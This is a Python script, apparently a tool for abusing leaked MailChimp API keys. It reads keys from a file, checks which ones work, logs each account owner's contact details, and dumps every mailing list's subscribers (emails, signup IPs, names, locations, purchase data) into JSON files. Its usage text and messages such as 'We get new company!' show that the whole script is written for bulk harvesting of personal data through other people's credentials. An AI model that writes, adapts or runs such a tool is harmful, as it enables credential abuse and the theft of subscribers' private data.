Python:
import asyncio
from os import makedirs
from json import dumps, loads
from sys import argv
from aiofiles import open as aopen
from aiohttp import ClientSession
class MailChimp:
def __init__(self, api: str, check_only: bool = False) -> None:
assert len(api.split('-')) == 2, "Wrong token. Check how much '-'"
self.api = api
api, zone = api.split('-', 1)
assert len(api) == 32, "Wrong len on key (before '-'), must be 32"
assert len(zone) == 4 or len(zone) == 3, "Wrong len of zone (after '-')"
self.url = f'https://{zone}.api.mailchimp.com/3.0/'
self.check_only = check_only
self.company = '.'
self.headers = {
'Authorization': 'apikey '+api
}
async def write_to_file(self, name: str, data: dict) -> None:
async with aopen(f'{self.company}/{name}.json', 'a', encoding='utf-8', errors='ignore') as write: # noqa
if isinstance(data, dict):
await write.write(dumps(
data, indent=4, sort_keys=True, default=str
)+'\n')
else:
await write.write(data)
async def save_members(self, table: str, members: list) -> None:
out = {}
for member in members:
out[member['email_address']] = {}
out[member['email_address']]['ip'] = member.get('ip_signup', '0.0.0.0')
out[member['email_address']]['full_name'] = member.get('full_name', 'None None') # noqa
out[member['email_address']]['location'] = member.get('location', {})
out[member['email_address']]['date'] = member.get('last_changed', '0000-00-00 00:00:00') # noqa
out[member['email_address']]['interests'] = member.get('interests', [])
out[member['email_address']]['merge_fields'] = member.get('merge_fields', []) # noqa
out[member['email_address']]['ecommerce_data'] = member.get('stats', {}).get('ecommerce_data', []) # noqa
out[member['email_address']]['vip'] = member.get('vip', False)
out[member['email_address']]['language'] = member.get('language', 'unkw')
await self.write_to_file(table, out)
await self.write_to_file(table, ',\n ')
async def get_members(self, uid: str, name: str) -> None:
params = {
'offset': 0,
'count': 1000
}
await self.write_to_file(name, '[\n ')
while True:
async with ClientSession(headers=self.headers) as ses:
async with ses.get(self.url+f'lists/{uid}/members', params=params) as r:
if r.status != 200:
print('[!] Error. Resp code:', r.status)
exit(0)
r = await r.json()
params['offset'] += len(r.get('members', []))
print(
f'\033c{self.company}.{name} passed: ' +
f'{params["offset"]}/{r.get("total_items", 0)}'
)
await self.save_members(name, r.get('members', []))
if params['offset'] >= r.get('total_items', 0):
break
await self.write_to_file(name, '[]\n]')
async def get_tables(self) -> tuple:
params = {
'offset': 0,
'count': 50
}
while True:
async with ClientSession(headers=self.headers) as session:
async with session.get(self.url+'lists', params=params) as resp:
if resp.status != 200:
print('[!] Error. Resp code:', resp.status)
exit(0)
data = await resp.json()
params['offset'] += len(data.get('lists', []))
print('[!] Total tables:', data.get('total_items', 0), end='\r')
for item in data.get('lists', []):
yield (
(str(item.get('id', 'NONE')),
str(item.get('name', 'NONE'))
.replace('.', '_')
.replace('/', '_')
.replace('\\', '_')
)
)
if params['offset'] >= data.get('total_items', 0):
break
async def check_valid(self) -> bool:
async with ClientSession(headers=self.headers) as session:
async with session.get(self.url) as resp:
if resp.status != 200:
return False
data = await resp.json()
company = data['contact']['company']
company = company.replace('.', '_')\
.replace('/', '_')\
.replace('\\', '_')
if self.check_only:
await self.write_to_file('INFO', {
'api_key': self.api,
'full_name': data['first_name']+' '+data['last_name'],
'role': data['role'],
'email': data['email'],
'account_name': data['account_name'],
'industry': data['account_industry'],
'contact': data['contact'],
'company': company
})
await self.write_to_file('INFO', ',\n')
else:
self.company = company
makedirs(self.company, exist_ok=True)
print('[+] We get new company! Company:', self.company, ' - ', self.api)
return True
async def work(self) -> None:
if not await self.check_valid():
print('[!] Key invalid', self.api)
return
if self.check_only:
return
async for table_id, table_name in self.get_tables():
await self.get_members(table_id, table_name)
async def main() -> None:
if argv[1] == '--dump':
async with aopen('INFO.json', 'r') as data:
for item in loads(await data.read()):
try:
chimp = MailChimp(item['api_key'])
await chimp.work()
except Exception as e:
print(e)
if len(argv[1].split('-us')) == 2:
chimp = MailChimp(argv[1], False)
await chimp.work()
else:
async with aopen('keys.txt', 'r') as lines:
async for line in lines:
try:
line: str = line.strip()
chimp = MailChimp(line, True)
await chimp.work()
except Exception as e:
print(e)
if __name__ == "__main__":
if len(argv) != 2:
print('main.py --check <--- for check keys.txt')
print('main.py --dump <--- for dump rez')
print('main.py KEY_ID-KEY_SERV <--- for dump specific key')
exit(0)
lp = asyncio.new_event_loop()
lp.run_until_complete(main())
lp.close()